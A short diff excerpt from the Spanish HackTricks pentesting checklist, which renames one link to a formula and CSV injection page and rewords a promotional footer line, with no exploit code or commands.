* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -119,7 +119,7 @@ Las funcionalidades que generan archivos incluyendo la entrada del usuario puede
Los usuarios que abren archivos cargados por usuarios o generados automáticamente incluyendo la entrada del usuario pueden ser comprometidos.
* [ ] [**Carga de Archivos**](../file-upload/)
* [ ] [**Inyección de Fórmulas**](../formula-doc-latex-injection.md)
* [ ] [**Inyección de Fórmulas**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Inyección de PDF**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS en el Lado del Servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@ -142,7 +142,7 @@ Estas vulnerabilidades pueden ayudar a explotar otras vulnerabilidades.
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).